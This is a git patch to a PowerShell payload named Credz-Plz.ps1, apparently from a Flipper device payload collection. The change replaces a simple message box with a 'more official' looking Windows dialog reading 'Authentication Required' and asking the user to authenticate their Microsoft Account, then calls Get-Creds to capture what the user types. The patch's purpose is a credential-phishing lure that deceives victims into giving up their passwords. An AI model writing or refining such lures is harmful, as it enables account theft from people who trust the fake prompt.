From 5b3bcb256a7beb5d6f7f124f36a9d9792b70e5eb Mon Sep 17 00:00:00 2001
From: Kavitate <79380289+Kavitate@users.noreply.github.com>
Date: Wed, 21 Dec 2022 14:44:22 -0600
Subject: [PATCH] Updated Credz-Plz.ps1

- Updated the script to show a "more official" looking initial popup.
---
 Payloads/Flip-Credz-Plz/Credz-Plz.ps1 | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/Payloads/Flip-Credz-Plz/Credz-Plz.ps1 b/Payloads/Flip-Credz-Plz/Credz-Plz.ps1
index 8dd056e..dada758 100644
--- a/Payloads/Flip-Credz-Plz/Credz-Plz.ps1
+++ b/Payloads/Flip-Credz-Plz/Credz-Plz.ps1
@@ -118,9 +118,13 @@ Pause-Script
 
 Caps-Off
 
-Add-Type -AssemblyName System.Windows.Forms
-
-[System.Windows.Forms.MessageBox]::Show("Unusual sign-in. Please authenticate your Microsoft Account")
+Add-Type -AssemblyName PresentationCore,PresentationFramework
+$msgBody = "Please authenticate your Microsoft Account."
+$msgTitle = "Authentication Required"
+$msgButton = 'Ok'
+$msgImage = 'Warning'
+$Result = [System.Windows.MessageBox]::Show($msgBody,$msgTitle,$msgButton,$msgImage)
+Write-Host "The user clicked: $Result"
 
 $creds = Get-Creds